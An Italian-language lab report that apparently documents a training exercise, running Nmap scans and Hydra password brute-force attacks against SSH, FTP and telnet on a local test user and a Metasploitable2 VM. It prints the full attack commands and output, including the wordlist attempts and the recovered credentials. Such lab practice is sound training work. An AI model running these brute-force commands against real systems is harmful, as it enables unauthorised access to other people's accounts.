

Report, day 4

tools: Hydra, Nmap

vm: Kali, Metasploitable2

Sul Kali creiamo nuovo utente con il nome “test_user” e la password “testpass”

attiviamo il servizio SSH

```
filip@KaLinux: ~  
File Actions Edit View Help  
zsh: corrupt history file /home/filip/.zsh_history  
(filip@KaLinux)-[~]  
$ sudo service ssh start  
[sudo] password for filip:  
(filip@KaLinux)-[~]  
$
```

Test connessione in SSH del utente “test_user”

```
test_user@KaLinux: ~  
File Actions Edit View Help  
(filip@KaLinux)-[~/Desktop]  
$ ssh test_user@192.168.50.100  
test_user@192.168.50.100's password:  
Linux KaliLinux 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07) x86_64  
  
The programs included with the Kali GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
Last login: Thu Dec 1 08:49:15 2022 from 192.168.50.100  
(test_user@KaLinux)-[~]  
$  
  
(filip@KaLinux)-[~]  
$ nmap 192.168.50.100  
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-01 10:29 EST  
Nmap scan report for 192.168.50.100  
Host is up (0.000048s latency).  
Not shown: 999 closed tcp ports (conn-refused)  
PORT      STATE SERVICE  
22/tcp    open  ssh  
  
Nmap done: 1 IP address (1 host up) scanned in 13.03 seconds  
  
(filip@KaLinux)-[~]  
$
```

Hydra cracking:

```
filip@KaLinux: ~  
File Actions Edit View Help  
$ hydra -l test_user -P /home/filip/Desktop/Tools/HomemadeTools/passwords.txt 192.168.50.100 -t 4 -v ssh  
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, o  
r for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 08:55:19  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 12 login tries (l:1/p:12), ~3 tries per task  
[DATA] attacking ssh://192.168.50.100:22/  
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done  
[INFO] Testing if password authentication is supported by ssh://test_user@192.168.50.100:22  
[INFO] Successful, password authentication is supported by ssh://192.168.50.100:22  
[22][ssh] host: 192.168.50.100 login: test_user password: testpass  
[STATUS] attack finished for 192.168.50.100 (waiting for children to complete tests)  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 08:55:23  
  
(filip@KaLinux)-[~]  
$ hydra -l test_user -P /home/filip/Desktop/Tools/HomemadeTools/passwords.txt 192.168.50.100 -t 4 -v ssh  
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, o  
r for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 08:55:35  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 12 login tries (l:1/p:12), ~3 tries per task  
[DATA] attacking ssh://192.168.50.100:22/  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 1 of 12 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345" - 2 of 12 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456789" - 3 of 12 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 4 of 12 [child 3] (0/0)  
[22][ssh] host: 192.168.50.100 login: test_user password: testpass  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 08:55:39  
  
(filip@KaLinux)-[~]  
$
```

Avvio servizio FTP:

```
(filip@KaLinux)-[~]
$ sudo service vsftpd start

(filip@KaLinux)-[~]
$
```

Test connessione in FTP del utente "test_user"

```
filip@KaLinux: ~/Desktop
File Actions Edit View Help

(filip@KaLinux)-[~/Desktop]
$ ftp test_user@192.168.50.100
Connected to 192.168.50.100.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

```
filip@KaLinux: ~
File Actions Edit View Help

(filip@KaLinux)-[~]
$ nmap 192.168.50.100
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-01 10:32 EST
Nmap scan report for 192.168.50.100
Host is up (0.000051s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh

Nmap done: 1 IP address (1 host up) scanned in 13.04 seconds

(filip@KaLinux)-[~]
$
```

Hydra cracking:

```
(filip@KaLinux)-[~/Desktop]
$ hydra -t 4 -l test_user -P /home/filip/Desktop/Tools/HomemadeTools/passwords.txt 192.168.50.100 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 09:03:55
[DATA] max 4 tasks per 1 server, overall 4 tasks, 12 login tries (l:1/p:12), ~3 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 09:03:59

(filip@KaLinux)-[~/Desktop]
$ hydra -V -t 4 -l test_user -P /home/filip/Desktop/Tools/HomemadeTools/passwords.txt 192.168.50.100 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 09:05:16
[DATA] max 4 tasks per 1 server, overall 4 tasks, 12 login tries (l:1/p:12), ~3 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 1 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345" - 2 of 12 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456789" - 3 of 12 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 4 of 12 [child 3] (0/0)
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 09:05:20

(filip@KaLinux)-[~/Desktop]
$
```


Metasploitable

Telnet:

```
(filip@KaLinux)-[~]
$ hydra -V -l msfadmin -P /home/filip/Desktop/Tools/HomemadeTools/passwords.txt 192.168.50.101 telnet
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 09:28:56
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 15 tasks per 1 server, overall 15 tasks, 15 login tries (l:1/p:15), ~1 try per task
[DATA] attacking telnet://192.168.50.101:23/
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456" - 1 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345" - 2 of 15 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456789" - 3 of 15 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "testpass" - 4 of 15 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "iloveyou" - 5 of 15 [child 4] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "princess" - 6 of 15 [child 5] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msf" - 7 of 15 [child 6] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "admin" - 8 of 15 [child 7] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 9 of 15 [child 8] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345678" - 10 of 15 [child 9] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "football" - 11 of 15 [child 10] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 12 of 15 [child 11] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "secret" - 13 of 15 [child 12] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "andrea" - 14 of 15 [child 13] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "" - 15 of 15 [child 14] (0/0)
[23][telnet] host: 192.168.50.101 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 09:29:09
```

Nmap scan Metasploitable2:

```
filip@KaLinux: ~
File Actions Edit View Help

(filip@KaLinux)-[~]
$ sudo nmap -f 192.168.50.101
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-01 09:23 EST
Nmap scan report for 192.168.50.101
Host is up (0.000085s latency).
Not shown: 978 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 08:00:27:AE:DB:BD (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.27 seconds
```

FTP:

```
(filip@KaLinux)-[~]
$ hydra -V -l msfadmin -P /home/filip/Desktop/Tools/HomemadeTools/passwords.txt 192.168.50.101 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 09:27:51
[DATA] max 15 tasks per 1 server, overall 15 tasks, 15 login tries (l:1/p:15), ~1 try per task
[DATA] attacking ftp://192.168.50.101:21/
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456" - 1 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345" - 2 of 15 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456789" - 3 of 15 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "testpass" - 4 of 15 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "iloveyou" - 5 of 15 [child 4] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "princess" - 6 of 15 [child 5] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msf" - 7 of 15 [child 6] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "admin" - 8 of 15 [child 7] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 9 of 15 [child 8] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345678" - 10 of 15 [child 9] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "football" - 11 of 15 [child 10] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 12 of 15 [child 11] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "secret" - 13 of 15 [child 12] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "andrea" - 14 of 15 [child 13] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "" - 15 of 15 [child 14] (0/0)
[21][ftp] host: 192.168.50.101 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 09:27:56
```